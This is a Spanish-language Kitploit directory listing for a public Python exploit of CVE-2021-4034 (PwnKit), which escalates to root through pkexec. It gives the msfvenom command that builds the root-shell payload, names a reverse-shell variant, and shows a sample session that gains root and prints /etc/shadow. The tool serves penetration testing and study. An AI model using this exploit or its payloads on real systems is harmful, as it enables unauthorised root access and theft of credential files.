Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-4034 — Exploit en Python para CVE-2021-4034 (PwnKit) que eleva privilegios a root mediante pkexec, generando una shell root con payloads de msfvenom. | Kitploit
Herramientas/GitHubGitHub/joeammond/cve-2021-4034
Escalada de PrivilegiosGeneración de PayloadsExplotaciónPruebas de PenetraciónExplotación de Binarios
GitHubjoeammond/cve-2021-4034

CVE-2021-4034

Exploit en Python para CVE-2021-4034 (PwnKit) que eleva privilegios a root mediante pkexec, generando una shell root con payloads de msfvenom.

Ver Repositorio
18039hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Python3 code to exploit CVE-2021-4034 (PWNKIT). Esto fue un ejercicio de "¿puedo hacer que esto funcione en Python?", y no está pensado como un exploit robusto. A mí me funciona, probablemente haya errores.

El payload por defecto inicia una shell como root, generado desde msfvenom:

root@kitploit:~
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

También he probado linux/x64/shell_reverse_tcp. Asegúrate de incluir el argumento PrependSetuid=true en msfvenom, de lo contrario solo obtendrás una shell como el usuario y no como root.

El código está tomado de blasty, el original está disponible aquí

root@kitploit:~
$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#
Descargar herramienta